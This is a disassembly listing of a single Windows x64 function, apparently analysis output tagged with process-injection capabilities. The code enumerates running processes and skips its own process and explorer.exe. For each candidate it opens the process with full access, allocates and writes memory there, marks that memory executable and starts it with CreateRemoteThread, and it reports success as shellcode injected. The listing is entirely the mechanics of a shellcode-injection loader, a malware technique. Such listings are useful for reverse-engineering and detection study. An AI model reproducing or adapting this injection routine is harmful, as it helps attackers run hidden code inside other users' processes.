Function at 0x1400032bc
Capabilities:
Create thread
Enumerate processes
Inject thread

Disassembly:
push rdi
sub rsp, 0x350
xor ecx, ecx
call fcn.140003780
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rsp + 0x78]
call fcn.1400021e8
nop
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x140003336
lea rdx, str.Failed_to_create_process_snapshot.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001100
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x68], 1
lea rcx, [rsp + 0x78]
call fcn.140002570
mov eax, dword [rsp + 0x68]
jmp 0x140003776
lea rax, [rsp + 0x110]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rsp + 0x110], 0x238
lea rdx, [rsp + 0x110]
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400033bb
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x118], eax
je 0x1400033a5
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x13c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400033a5
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x78]
call fcn.1400031d0
lea rdx, [rsp + 0x110]
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14000336b
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x78]
call fcn.140003004
movzx eax, al
test eax, eax
je 0x140003415
lea rdx, str.No_suitable_candidate_processes_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001100
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x6c], 1
lea rcx, [rsp + 0x78]
call fcn.140002570
mov eax, dword [rsp + 0x6c]
jmp 0x140003776
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x78]
call fcn.140003074
mov qword [rsp + 0xc0], rax
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x78]
call fcn.140002ea4
mov rcx, qword [rsp + 0xc0]
mov rdx, qword [rcx]
mov rcx, qword [rax]
call fcn.140001fa8
lea rcx, [rsp + 0x44]
call fcn.140001650
mov qword [rsp + 0xc8], rax
lea rdx, [0x140005390]
lea rcx, [rsp + 0xf8]
call fcn.140001ee8
mov qword [rsp + 0xd0], rax
lea rdx, [0x140005390]
lea rcx, [rsp + 0x100]
call fcn.140001e2c
mov rcx, qword [rsp + 0xc8]
mov r9, rcx
mov rcx, qword [rsp + 0xd0]
mov r8, qword [rcx]
mov rdx, qword [rax]
lea rcx, [rsp + 0xa0]
call fcn.14000105c
nop
lea rcx, [rsp + 0xa0]
call fcn.140002f70
lea rax, [rsp + 0x78]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call fcn.140001b50
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x90]
call fcn.140002de0
mov qword [rsp + 0xd8], rax
jmp 0x14000350e
mov rax, qword [rsp + 0x58]
add rax, 4
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xd8]
cmp qword [rsp + 0x58], rax
je 0x14000372f
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
mov dword [rsp + 0x40], eax
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x1400036fa
lea rcx, [rsp + 0xa0]
call fcn.140003258
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x1400036bd
lea rcx, [rsp + 0xa0]
call fcn.140003258
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0xa0]
call fcn.140002df0
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0xe0]
mov r9, rcx
mov r8, rax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, [rsp + 0xa0]
call fcn.140003258
lea rcx, [rsp + 0xb8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov r8, rax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
je 0x140003687
lea rdx, str.Shellcode_injected_and_executed_in_process_ID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001100
mov edx, dword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x70], 0
lea rcx, [rsp + 0xa0]
call fcn.140002558
nop
lea rcx, [rsp + 0x78]
call fcn.140002570
mov eax, dword [rsp + 0x70]
jmp 0x140003776
lea rdx, str.Failed_to_allocate_memory_in_process_ID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001100
mov edx, dword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000372a
lea rdx, str.Failed_to_open_process_ID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001100
mov edx, dword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140003500
lea rdx, str.All_candidate_processes_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001100
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x74], 1
lea rcx, [rsp + 0xa0]
call fcn.140002558
nop
lea rcx, [rsp + 0x78]
call fcn.140002570
mov eax, dword [rsp + 0x74]
add rsp, 0x350
pop rdi
ret